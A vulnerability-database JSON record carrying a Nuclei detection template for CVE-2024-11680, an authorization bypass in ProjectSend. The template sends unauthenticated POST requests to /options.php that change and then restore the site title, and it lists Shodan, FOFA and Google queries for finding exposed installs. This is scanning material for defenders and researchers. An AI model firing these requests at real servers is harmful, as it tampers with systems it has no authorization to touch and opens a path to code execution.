{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-11680/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-11680/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-11680/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-11680/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-11680/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-11680"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-11680"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-11680.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-11680\n\ninfo:\n  name: ProjectSend <= r1605 - Improper Authorization\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.\n  impact: |\n    Unauthenticated attackers can bypass authorization checks to perform sensitive actions such as enabling user registration, modifying whitelists, and ultimately achieving remote code execution.\n  remediation: |\n    Upgrade ProjectSend to version r1700 or later.\n  reference:\n    - https://www.projectsend.org/\n    - https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf\n    - https://vulncheck.com/advisories/projectsend-bypass\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-11680\n    cwe-id: CWE-287,CWE-863\n    epss-score: 0.91697\n    epss-percentile: 0.99811\n    cpe: cpe:2.3:a:projectsend:projectsend:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: projectsend\n    product: projectsend\n    shodan-query:\n      - http.html:\"projectsend\"\n      - http.html:\"projectsend setup\"\n      - http.html:\"provided by projectsend\"\n    fofa-query:\n      - body=\"projectsend\"\n      - body=\"projectsend setup\"\n      - body=provided by projectsend\n    google-query: intext:provided by projectsend\n  tags: cve,cve2024,projectsend,auth-bypass,intrusive,kev,vkev,vuln\nvariables:\n  string: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"projectsend\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf\n        group: 1\n        regex:\n          - 'name=\"csrf_token\" value=\"([0-9a-z]+)\"'\n        internal: true\n\n      - type: regex\n        name: title\n        group: 1\n        regex:\n          - '<title>Log in &raquo; ([0-9a-zA-Z]+)<\\/title>'\n        internal: true\n\n  - raw:\n      - |\n        POST /options.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        csrf_token={{csrf}}&section=general&this_install_title={{string}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains(content_type, \"text/html\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{string}}\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /options.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        csrf_token={{csrf}}&section=general&this_install_title={{title}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains(content_type, \"text/html\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{title}}\")'\n        condition: and\n# digest: 4a0a0047304502200fbc58ea65325ae76b1a4895bd9fe36aa0ae83447d85952afecdf4c2ddcad720022100ae79a64d89d8915578fc7e0460faf854d77d8e962e7fe12bd2628f3ba85245b6:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-11680"
}